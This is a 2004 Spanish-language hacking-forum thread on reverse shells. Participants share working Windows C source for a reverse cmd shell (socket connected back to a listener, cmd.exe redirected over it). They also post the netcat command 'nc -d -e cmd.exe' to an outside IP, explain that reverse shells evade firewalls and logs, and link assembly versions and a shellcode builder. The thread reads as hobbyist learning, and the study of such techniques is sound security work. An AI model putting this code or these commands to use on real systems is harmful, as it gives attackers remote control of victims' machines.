elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Reverse Shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Reverse Shell  (Leído 12,924 veces)
Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.586


Ver Perfil WWW
Reverse Shell
« en: 2 Marzo 2004, 02:32 »

Wola.....

1) La idea es dejar el netcat escuchando en un determinado puerto (nc -l -p 4444 -vv) y q al ejecutar un exploit, la shellcode me devuelva la shell remota a la otra ventana con el netcat a la escucha...
El equivalente a la instruccion: nc -d -e cmd.exe 10.10.0.1 4444  :)

Alguien me puede ayudar a encontrar una shellcode q devuelva una reverse shell a un determinado puerto con un nc a la escucha???

2) En la linea a esta duda, he encontrado los siguientes codigos de Adik q se supone devuelven una reverse cmd shell a una direccion y puerto configurables en el propio código!!! Ojo, no son shellcodes (como ando pidiendo al principio de este post)...

Adik reverse cmd shell @ http://citadelle.intrinsec.com/mailing/current/HTML/ml_bugtraq_vuln_dev/5076.html

En este link podréis encontrar tanto el código en C como en ASM... posteo el C para vuestra comodidad...
 
Código:
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")


void main(int argc, char *argv[])
{
        WSADATA wsaData;
        SOCKET hSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        struct sockaddr_in adik_sin;
        memset(&adik_sin,0,sizeof(adik_sin));
        memset(&si,0,sizeof(si));
        WSAStartup(MAKEWORD(2,0),&wsaData);
        hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
        adik_sin.sin_family = AF_INET;
        adik_sin.sin_port = htons(55);
        adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1");
        connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
        CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
        ExitProcess(0);


}


Supuestamente, este código devuelve una reverse shell a un netcat escuchando en el puerto 55

Citar
reverse cmd shell

Will spit back command shell on ur listening netcat
on ur localhost (127.0.0.1) port 55

set up ur netcat eg. nc -l -p 55 -vv


Bueno, el caso es q he intentado compilar este código con VisualC++, Dev-C++, LCC y hasta Cygwin cambiando las cabeceras!!!!! y me da errores en todos  :'( asi q si alguien es tan amable de probarlo por su cuenta y tiene exito, q me avise.

Gracias

Salu2
« Última modificación: 2 Marzo 2004, 02:49 por gospel » En línea

byebye


Desconectado Desconectado

Mensajes: 5.093



Ver Perfil
Re:Reverse Shell
« Respuesta #1 en: 2 Marzo 2004, 02:51 »

si compila en dev c++, añadele ws2_32 desde el menu proyecto > opciones de proyecto > parametros > añadir biblioteca u objeto.
En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.586


Ver Perfil WWW
Re:Reverse Shell
« Respuesta #2 en: 2 Marzo 2004, 03:28 »

Mierdaaaaaaaaaaaaaaa..... era un cpp no un c....

Ahora si me compila con VC++ ;)
BTW, estoy empezando a odiar el Dev-C++ (vaya gracia eso de cambiar las librerias de nombre...)

He probao el código de Adik y SI: funciona perfectamente...

Wuay, si alguien me ayuda con lo de la shellcode ya soy el hombre mas feliz del mundo por un par de días  :D

Gracias Potato
Salu2
« Última modificación: 2 Marzo 2004, 03:52 por gospel » En línea

Gospel
Colaborador
***
Desconectado Desconectado

Mensajes: 1.586


Ver Perfil WWW
Re:Reverse Shell
« Respuesta #3 en: 2 Marzo 2004, 14:49 »

1) La idea es dejar el netcat escuchando en un determinado puerto (nc -l -p 4444 -vv) y q al ejecutar un exploit, la shellcode me devuelva la shell remota a la otra ventana con el netcat a la escucha...
El equivalente a la instruccion: nc -d -e cmd.exe 10.10.0.1 4444  :)

Alguien me puede ayudar a encontrar una shellcode q devuelva una reverse shell a un determinado puerto con un nc a la escucha???

Bien, estaba pensando y me he dao cuenta q esto no se puede pedir, ya q se supone q en la shellcode tendrían q configurarse el puerto y IP destino..... y no tengo tanta idea de shellcodes...

Ahora me surge la duda, q diferencia hay entre una shellcode q "binds a port" o q da una "reverse shell"?? En principio, llego a q la shellcode q "binds a port", deja un puerto a la escucha en la máquina q se ejecuta para q te conectes remotamente con telnet y nc y te devuelva la shell. Ahora bien, la "reverse shell" no dependerá sólo de la shellcode, intervendrá el código del exploit, no?
Bueno, si alguien me puede aclarar un poco cómo funciona esto de la reverse shell en un exploit y q es lo q realmente hace la shellcode al ejecutarse, le estaría agradecido....

Salu2
En línea

ksys

Desconectado Desconectado

Mensajes: 34

ksys


Ver Perfil WWW
Re: Reverse Shell
« Respuesta #4 en: 7 Junio 2004, 21:00 »

Bien, estaba pensando y me he dao cuenta q esto no se puede pedir, ya q se supone q en la shellcode tendrían q configurarse el puerto y IP destino..... y no tengo tanta idea de shellcodes...

gospel !!! Claro !! juer..., pero siemre puedes utiizar un servicio como el de no-ip.com el cual tiene cliente tanto para güindows como para LinuX :)

Probaré a ver k tal...
En línea

Amadeus

Desconectado Desconectado

Mensajes: 26


I love Nmap


Ver Perfil
Re: Reverse Shell
« Respuesta #5 en: 9 Junio 2004, 08:30 »

Gospel si lo consigues ya sabes, pls postealo que toy interesado. (no consigo que el otro deje el puerto a la escucha..)

thx y salu2
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Reverse Shell
« Respuesta #6 en: 9 Junio 2004, 09:03 »

Pues lo has explicado bastante bien.

Las shellcodes normales hacen un bind port, que es lo que tu has dixo, abren un puerto alto (>1024) y ahi colocan un cmd.exe (explicacion simple).

Las reverse shell se usan para evitar firewalls (ya que el ekipo atacado no recibe ninguna conexion por un puerto alto, que puede estar filtrado, sino que la envia, que puede no estar filtrado) y, las mas sofisticadas, para utilizar la MISMA conexion TCP para ejecutar la shell (casi imposible de evitar con un firewall). Ademas, no genera tantos logs.

Por eso se usan la reverse shell.

http://www.elhacker.net/exploits/

Al final hay una scode reverse shell, PERO, hay que toquetear la scode :D:D:D

Salu2

En línea

pinkfeet

Desconectado Desconectado

Mensajes: 7



Ver Perfil
Re: Reverse Shell
« Respuesta #7 en: 1 Julio 2004, 11:26 »

olassss, estoy pensando hacer una version linux de este reverse shell y las primeras dudas k me asaltan son las siguientes:
 
Código:
si.dwFlags = STARTF_USESTDHANDLES;
// permite que redirijamos in,out,err al socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)socketLlamada;
// redireccion propiamente dicha
CreateProcess(NULL,"cmd",NULL,NULL,true,0,NULL,NULL,&si,&pi);
// llamada al proceso,

hasta aki todo ok y basandome en esta idea...

como puedo redigir el in,out y err en linux en mis llamadas a proceso ? fork,execve,system y popen no
me permiten hacerlo especificando un descriptor de socket como en el caso de la struct STARTUPINFO para CreateProccess no ?

refinitiva: podria 'preparar el terreno' por asi decirlo para que la siguiente llamada a execve por ejemplo engendrara la shell con el in,out y err 'enpipadas' en un socket de conexion previamente establecido?

Salu2
p.d: buxas braciasssss!!!!
En línea

Jakin

Desconectado Desconectado

Mensajes: 11



Ver Perfil
Re: Reverse Shell
« Respuesta #8 en: 3 Julio 2004, 05:07 »

hola de nuevo,aki teneis el código en asm del reverseshell ese que esta ahi en c.
http://ercunsites.webcindario.com/asmt/reverseshell1.asm

y aki otro.
código en c
http://ercunsites.webcindario.com/source/reversep.cpp
y en asm
http://ercunsites.webcindario.com/asmt/reverseshell2.asm

para cambiar la ip y el port este programa
http://ercunsites.webcindario.com/tools/iphexp.zip
te lo pasa a la inversa y hexadcimal

me comentarón que algunos códigos en asm dan problemas solo cojerlo pegarlo al shellmake,si no teneis winxp sp1,cambiar los offside de LoadLibraryA y GetprocAddress,con el shellmake mismo,este programa está en mi misma página, y te da la shellcode.

un saludo
y a drifrutar que es temprano aún
xDDDDD
« Última modificación: 3 Julio 2004, 05:28 por Jakin » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Reverse Shell By Doddy
Scripting
BigBear 0 599 Último mensaje 8 Octubre 2011, 16:55
por BigBear
[Perl] Reverse Shell 0.2
Scripting
BigBear 0 622 Último mensaje 9 Octubre 2012, 03:05
por BigBear
[!] Reverse shell Unix-like
Bugs y Exploits
cpu2 6 2,951 Último mensaje 15 Enero 2013, 16:36
por Falso Positivo
Video shell reverse 2014
Hacking Avanzado
$_CiScO 0 577 Último mensaje 13 Enero 2014, 22:03
por $_CiScO
Reverse Shell, sin IP Publica ni DMZ? (Solucionado)
Dudas Generales
AlbertoBSD 7 2,037 Último mensaje 27 Febrero 2016, 01:14
por AlbertoBSD
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines